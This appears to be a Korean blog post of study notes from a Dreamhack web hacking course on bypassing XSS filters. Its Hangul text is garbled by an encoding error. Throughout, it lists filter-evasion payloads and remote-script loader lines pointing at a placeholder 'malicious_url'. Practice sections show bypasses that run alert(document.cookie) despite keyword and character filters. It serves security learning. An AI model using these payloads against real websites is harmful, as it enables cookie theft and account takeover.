π‘ [Dreamhack] Web Hacking Advanced - Client Side - XSS Filterfing Bypass I, IIλ₯Ό 곡λΆνλ©° μ 리νμμ΅λλ€.
#1. μ΄λ²€νΈ νΈλ€λ¬ μμ±
νκ·Έμ μμ± κ°μΌλ‘ μ€ν¬λ¦½νΈλ₯Ό ν¬ν¨ν μ μλ κ²½μ°κ° μ‘΄μ¬νλ€. λνμ μΌλ‘ μ΄λ²€νΈ νΈλ€λ¬λ₯Ό μ§μ νλ on
μΌλ‘ μμνλ μμ±λ€μ΄ μ‘΄μ¬νλ€. μ΄λ²€νΈ νΈλ€λ¬λ νΉμ μμμμ λ°μνλ μ΄λ²€νΈλ₯Ό μ²λ¦¬νκΈ° μν΄ μ‘΄μ¬νλ μ½λ°± ννμ νΈλ€λ¬ ν¨μμ΄λ€.
μμ£Ό μ¬μ©λλ μ΄λ²€νΈ νΈλ€λ¬ μμ±: onload
, onerror
, onfocus
onerror μ΄λ²€νΈ νΈλ€λ¬
1
2
3
4
5
<!-- μ΄λ―Έμ§ λ‘λ μ±κ³΅ > onerror νΈλ€λ¬ μ€νX -->
<img src="valid" onerror="alert(1)">
<!-- μ΄λ―Έμ§ λ‘λ μ€ν¨ > onerror νΈλ€λ¬ μ€ν -->
<img src="invalid" onerror="alert(1)">
onfocus μ΄λ²€νΈ νΈλ€λ¬
1
2
3
4
5
<!-- autofocus μμ±μ μ£Όμ΄ μλμΌλ‘ ν¬μ»€μ€λ₯Ό μν΄ -->
<input id="inputBox" onfocus="alert(1)" autofocus>
<!-- id κ°μ μ£Όμ΄ URLμ hash(/#inputBox) λΆλΆμ id κ°μ μ
λ ₯νμ¬ ν¬μ»€μ€ λλλ‘ μ€μ . -->
<input id="inputBox" onfocus="alert(1)">
#2. λ¬Έμμ΄ μΉν
XSS ν€μλλ₯Ό νν°λ§ν λ λ¬Έμμ΄μ λ¨μν μΉννκ±°λ μ κ±°νλ λ°©μλ μ¬μ©λκ³€ νλ€. λ¨μν μμ¬λλ ꡬ문μ μ κ±°ν κ²½μ° νν°λ§λλ ν€μλ μ¬μ΄μ μλ‘μ΄ νν°λ§ ν€μλλ₯Ό μ½μ νλ λ°©μμΌλ‘ μ°ν κ°λ₯νλ€.
λ¬Έμμ΄ μΉν μ°ν
1
2
3
4
/* νν°λ§ ν¨μ */
function XSSFilter(data){
return data.replace(/script/gi, '');
}
1
2
<!-- ν€μλλ₯Ό μ€μ²© μ½μ
νμ¬ μ°ν -->
<sscriptcript>alert(1)</sscriptcript>
#3. νμ± νμ΄νΌλ§ν¬
HTML λ§ν¬μ
μμ μ¬μ©λ μ μλ URLμ νμ± μ½ν
μΈ λ₯Ό ν¬ν¨ν μ μλ€. javascript:
μ€ν€λ§λ URL λ‘λ μ μλ°μ€ν¬λ¦½νΈ μ½λλ₯Ό μ€νν μ μλλ‘ νλ€.
URL μ€ν€λ§
λ€μκ³Ό κ°μ΄ a
νκ·Έλ iframe
νκ·Έμμ URL μμ±μ μ€ν€λ§λ₯Ό μ¬μ©ν μ μλ€.
1
2
<a href="javascript:alert(1)"></a>
<iframe src="javascript:alert(1)">
μ κ·ν μ°ν
μ΄λ₯Ό λ°©μ§νκ³ μ XSS ν€μλλ₯Ό νν°λ§ν λ javascript:
μ€ν€λ§λ₯Ό νν°λ§νλ κ²½μ°κ° μ‘΄μ¬νλλ°, μ΄λ μ κ·νλ₯Ό μ΄μ©νμ¬ μ°νν μ μλ κ²½μ°κ° μ‘΄μ¬νλ€. μ κ·ν κ³Όμ μμ \x01
, \x04
, \t
μ κ°μ νΉμ λ¬Έμλ€μ΄ μ κ±°λκ³ , μ€ν€λ§μ λμλ¬Έμκ° ν΅μΌλλ€.
1
2
<a href="\1\4jAVasC\triPT:alert(1)"></a>
<iframe src="\1\4jAVasC\triPT:alert(1)">
HTML Entity Encoding
HTML νκ·Έ μμ± λ΄μμλ HTML Entity Encodingμ μ¬μ©ν μ μλ€. μ΄λ₯Ό μ΄μ©νμ¬ javascript:
μ€ν€λ§λ XSS ν€μλλ₯Ό μΈμ½λ©νμ¬ νν°λ§μ μ°νν μλ μλ€.
1
2
<a href="\1JavasCr\tip&tab;:alert(1)"></a>
<iframe src="\1JavasCr\tip&tab;:alert(1)">
+) URL μ κ·ν ν
μ€νΈ μλ°μ€ν¬λ¦½νΈμμλ URL
κ°μ²΄λ₯Ό ν΅ν΄ URLμ μ§μ μ κ·νν μ μμΌλ©°, protocol
, hostname
λ± URLμ κ°μ’
μ 보λ₯Ό μΆμΆν μ μλ€.
1
2
3
4
5
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
#4. νκ·Έμ μμ± κΈ°λ° νν°λ§
λμλ¬Έμ μΈμ νν°
λμλ¬Έμλ₯Ό λͺ¨λ κ²μ¬νμ§ μμ κ²½μ° λ€μκ³Ό κ°μ΄ μ°ν κ°λ₯νλ€.
1
<sCript>alert(1)</scRIPT>
νΉμ νκ·Έ λ° μμ± νν°
script
, img
, input
κ³Ό κ°μ νκ·Έλ₯Ό νν°λ§ ν λ, λ€λ₯Έ νκ·Έλ₯Ό μ¬μ©ν΄ 곡격μ μλν μ μλ€.
1
2
<video><source onerror="alert(1)"/></video>
<body onload="alert(1)"/>
on
μ΄λ²€νΈ νΈλ€λ¬λ₯Ό νν°λ§νκ³ , λ©ν° λΌμΈμ μ§μνλ λ¬Έμλ₯Ό κ²μ¬ν λ, μλ‘μ΄ inner frameμ μμ±νλ iframe
νκ·Έλ₯Ό μ΄μ©ν΄ μ°νν μ μλ€.
1
2
3
4
5
<!-- src μμ±μμ νμ± νμ΄νΌλ§ν¬ μ΄μ© -->
<iframe src="javascript:alert(1)">
<!-- srcdoc μμ±μ μ΄μ© -->
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
μμμ srcdoc
μμ±μ μ΄μ©νμ¬ inner frame λ΄μ μλ‘μ΄ XSS 곡격 μ½λλ₯Ό μ
λ ₯ν μ μλλ° μ΄λ, HTML μμ± λ΄μ λ€μ΄κ°κΈ°μ HTML Entity EncodingμΌλ‘ κΈ°μ‘΄ νν°λ§μ μ°ννλ κ²μ΄ κ°λ₯νλ€. parent.alert
λ₯Ό νΈμΆνλ μ΄μ λ μ€ν¬λ¦½νΈκ° νΈμΆλλ μμμ μμ λ¬Έμμ μ‘΄μ¬νλ alertλ₯Ό νΈμΆ ν΄μΌνκΈ° λλ¬Έμ΄λ€.
#5. μλ°μ€ν¬λ¦½νΈ ν¨μ λ° ν€μλ νν°λ§
Unicode escape sequence
μλ°μ€ν¬λ¦½νΈλ Unicode escape sequenceλ₯Ό μ§μνλ€. μ΄λ₯Ό μ΄μ©νμ¬ νν°λ§ λ λ¬Έμμ΄μ μ°ννλ κ²μ΄ κ°λ₯νλ€. (Unicode escape sequenceλ \uAC00
== κ°
μ κ°μ΄ λ¬Έμμ΄μμ μ λμ½λ λ¬Έμλ₯Ό μ½λν¬μΈνΈλ‘ λνλΌ μ μλ νκΈ°λ²)
1
2
3
"\u0063ookie" // cookie
"cooki\x65" // cookie
\u0061lert(1) // alert(1)
Computed member access
μλ°μ€ν¬λ¦½νΈλ Computed member accessλ₯Ό μ§μνλ€. Computed member accessλ κ°μ²΄μ νΉμ μμ±μ μ κ·Όν λ μμ± μ΄λ¦μ λμ μΌλ‘ κ³μ°νλ κΈ°λ₯μ΄λ€.
1
document["coo"+"kie"] == document["cookie"] == document.cookie
π» XSS 곡격μ νν μ¬μ©λλ ꡬ문과 νν°λ§ μ°νλ₯Ό μν΄ μ¬μ©λ μ μλ λ체 μμ
ꡬ문 | λ체 ꡬ문 |
---|---|
alert , XMLHttpRequest λ± λ¬Έμ μ΅μμ κ°μ²΄ λ° ν¨μ | window['al'+'ert'] , window['XMLHtt'+'pRequest'] λ± μ΄λ¦ λμ΄μ μ°κΈ° |
window | self , this |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] λ± ν¨μμ constructor μμ± μ κ·Ό |
λ¬Έμμ΄ μ μΈ
νν°λ§ νΉμ μΈμ½λ©/λμ½λ©μ μ΄μ λ‘ νΉμ λ¬Έμ(()
, []
, "
, '
β¦)λ₯Ό μ¬μ©νμ§ λͺ»νλ κ²½μ°μ ν΄λΉ λ¬Έμλ₯Ό λ체ν μ μλ λ°©λ²λ€μ ν΅ν΄ μ°ννμ¬ κ³΅κ²©ν μ μλ€.
λ°μ΄ν("
, '
)κ° νν°λ§λμ΄ μλ€λ©΄ ν
νλ¦Ώ 리ν°λ΄(Template Literals)μ μ¬μ©ν μ μλ€. λ°±ν±(`)μ μ΄μ©νμ¬ μ μΈν μ μκ³ , ${}
ννμμ μ΄μ©ν΄ λ€λ₯Έ λ³μλ μμ μ¬μ©ν μ μλ€. (ν
νλ¦Ώ 리ν°λ΄μ λ΄μ₯λ ννμμ νμ©νλ λ¬Έμμ΄ λ¦¬ν°λ΄λ‘, μ¬λ¬ μ€λ‘ μ΄λ€μ§ λ¬Έμμ΄κ³Ό λ¬Έμλ₯Ό 보κ΄νκΈ° μν κΈ°λ₯μΌλ‘ μ΄μ©ν μ μλ€.)
RegExp κ°μ²΄ μ¬μ©νκΈ°
RegExp κ°μ²΄λ₯Ό μμ±νκ³ κ°μ²΄μ ν¨ν΄ λΆλΆμ κ°μ Έμ΄μΌλ‘μ¨ λ¬Έμμ΄μ λ§λ€ μ μλ€.
1 2
var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"
String.fromCharCode ν¨μ μ¬μ©
String.fromCharCode
ν¨μλ μ λμ½λμ λ²μ μ€ νλΌλ―Έν°λ‘ μ λ¬λ μμ ν΄λΉνλ λ¬Έμλ₯Ό λ°ννλ€.1
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
κΈ°λ³Έ λ΄μ₯ ν¨μλ κ°μ²΄μ λ¬Έμλ₯Ό μ¬μ©νλ λ°©λ²
λ΄μ₯ ν¨μλ κ°μ²΄λ₯Ό
toString
ν¨μλ₯Ό ν΅ν΄ λ¬Έμμ΄λ‘ λ³κ²½νλ©΄ ννκ° λ¬Έμμ΄λ‘ λ³νλλ€. μνλ λ¬Έμμ΄μ λ§λλλ° νμν λ¬Έμλ€μ ν κΈμμ© κ°μ Έμ λ¬Έμμ΄μ λ§λ€ μ μλ€.1 2 3 4
var baz = history.toString()[8] + // "H" (history+[])[9] + // "i" (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"
history.toString()
:"[object History]"
λ¬Έμμ΄ λ°νURL.toString()
:"function URL () { [native code] }"
λ¬Έμμ΄ λ°ν
μ«μ κ°μ²΄μ μ§λ² λ³ν
10μ§μ μ«μλ₯Ό 36μ§μλ‘ λ³κ²½νμ¬ ASCII μμ΄ μλ¬Έμ λ²μλ₯Ό λͺ¨λ μμ±ν μ μλ€. μ΄λ,
E4X μ°μ°μ ("..")
κ° μ‘΄μ¬νλλ°, μ£Όλ‘ μ λκ°λ₯Ό μ°κ±°λ μμμ μΌλ‘ μΈμλμ§ μλλ‘ κ³΅λ°±κ³Ό μ μ μ‘°ν©ν΄ μ¬μ©ν μ μλ€.1 2
var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"
ν¨μ νΈμΆ
μΌλ°μ μΈ μλ°μ€ν¬λ¦½νΈμ ν¨μ νΈμΆ λ°©λ²
1
2
alert(1); // Parentheses
alert`1`; // Tagged Templates
μκ΄νΈμ λ°±ν± λ¬Έμκ° λͺ¨λ νν°λ§ λμ΄μλ κ²½μ°, λ€μκ³Ό κ°μ λ°©λ²λ€λ‘ μ°νν μ μλ€.
javascript μ€ν€λ§λ₯Ό μ΄μ©ν location λ³κ²½
javascript:
μ€ν€λ§λ₯Ό μ΄μ©ν΄location
κ°μ²΄λ₯Ό λ³μ‘°νλ λ°©μμΌλ‘ μλ°μ€ν¬λ¦½νΈ μ½λ μ€ν.1 2 3
location = "javascript:alert\x281\x29;"; location.href = "javascript:alert\u00281\u0029;"; location['href'] = "javascript:alert\0501\051;";
Symbol.hasInstance μ€λ²λΌμ΄λ©
ECMAScript 6μ μΆκ°λ Symbolμ μμ± λͺ μΉμΌλ‘ μ¬μ©ν μ μλ€.
0 instanceof C
λ₯Ό μ°μ°ν λ,C
μSymbol.hasInstance
μμ±μ ν¨μκ° μμ κ²½μ° λ©μλλ‘ νΈμΆνμ¬instanceof
μ°μ°μμ κ²°κ³Ό κ°μΌλ‘ μ¬μ©νκ² λλ€.instanceof
λ₯Ό μ°μ°νκ² λλ©΄ μ€μ μΈμ€ν΄μ€ μ²΄ν¬ λμ μνλ ν¨μλ₯Ό λ©μλλ‘ νΈμΆλλλ‘ ν μ μλ€.1 2
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
document.body.innerHTML μΆκ°
document.body.innerHTML
μ μ½λλ₯Ό μΆκ°ν κ²½μ° μλ‘μ΄ HTML μ½λκ° λ¬Έμμ μΆκ°λκ³ , μ½λλ₯Ό μ€νν μ μλ€. μ΄λ,innerHTML
λ‘ HTML μ½λλ₯Ό μ€νν λμλ 보μ μ<script>
νκ·Έλ₯Ό μ½μ ν΄λ μ€νλμ§ μλλ€. λ°λΌμ μ΄λ²€νΈ νΈλ€λ¬λ₯Ό μ΄μ©ν΄ μ½λλ₯Ό μ€νν΄μΌ νλ€.1 2
document.body.innerHTML += "<img src=x: onerror=alert(1)>"; documnet.body.innerHTML += "<body src=x: onload=alert(1)>";
#6. λλΈ μΈμ½λ©(Double Encoding)
μ λ ₯ κ²μ¦μ λμ½λ© λ±μ λͺ¨λ μ μ²λ¦¬ μμ μ λ§μΉκ³ μνν΄μΌ νλ€. κ²μ¦μ΄ λλ λ°μ΄ν°λ₯Ό λμ½λ©νμ¬ μ¬μ©ν΄μλ μλλ€. μΉ λ°©νλ²½μ κ±°μ³ μ ν리μΌμ΄μ μΌλ‘ μ λ¬λλ μΉ μλ²μμ, μΉ λ°©νλ²½μΌλ‘λΆν° ν΅κ³Όν λ°μ΄ν°λ₯Ό λ€μ λμ½λ©ν΄μ μ¬μ©νλ©΄ λλΈ μΈμ½λ©μΌλ‘ μΉ λ°©νλ²½μ κ²μ¦μ μ½κ² μ°νν μ μλ€.
1
2
3
4
5
// Failed Request
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
// Successful Request
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
#7. κΈΈμ΄ μ ν
μ½μ ν μ μλ μ½λμ κΈΈμ΄κ° μ νλμ΄ μλ κ²½μ°, λ€λ₯Έ κ²½λ‘λ‘ μ€νν μΆκ°μ μΈ μ½λ(payload)λ₯Ό URL fragment λ±μΌλ‘ μ½μ νκ³ λ³Έ μ½λλ₯Ό μ€ννλ 짧μ μ½λ(launcher)λ₯Ό μ¬μ©ν μ μλ€.
location.hash
Fragmentλ‘ μ€ν¬λ¦½νΈλ₯Ό λκ²¨μ£Όκ³ XSS μ§μ μμ location.hash
λ‘ fragment λΆλΆμ μΆμΆνμ¬ eval()
λ‘ μ€ννλ κΈ°λ²μ΄ νν μ¬μ©λλ€.
1
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(1);
μΈλΆ μμμ μ΄μ©ν 곡격방μ
1
import('malicious_url');
1
2
3
var e = document.createElement('script')
e.src = 'malicious_url';
document.appendChild(e);
1
fetch('malicious_url').then(x=>eval(x.text()))
#Practice
βalertβ, βwindowβ, βdocumentβ νν°λ§
alert(document.cookie)
μ€νFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/alert|window|document/.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5
// 1) μ λμ½λ μ΄μ© \u0061lert(\u0064ocument.cookie); // 2) this ν€μλλ‘ window κ°μ²΄ μ κ·Ό this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
μ£Όμ ν€μλμ νΉμλ¬Έμ νν°λ§
alert(document.cookie)
μ€νFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5 6
// 1) decodeURI ν¨μ μ΄μ© Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')]( decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))(); // 2) atob ν¨μ & constructor μμ± μ΄μ© Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
- 1) URL Encodingμ νλ¨μ μ¬μ΄νΈ μ°Έκ³ https://www.w3schools.com/tags/ref_urlencode.ASP https://onlineasciitools.com/url-encode-ascii
- 2) Base64 κ°μ
btoa('string')
ν¨μ μ΄μ©
(, ), β, β, ` νν°λ§
alert(document.cookie)
μ€νFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/[()"'`]/.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5
// 1) RegExp & URL.toString & Symbol.hasInstance /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval}; // 2) javascript μ€ν€λ§λ‘ location λ³κ²½ & RegExp & URL.toString location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];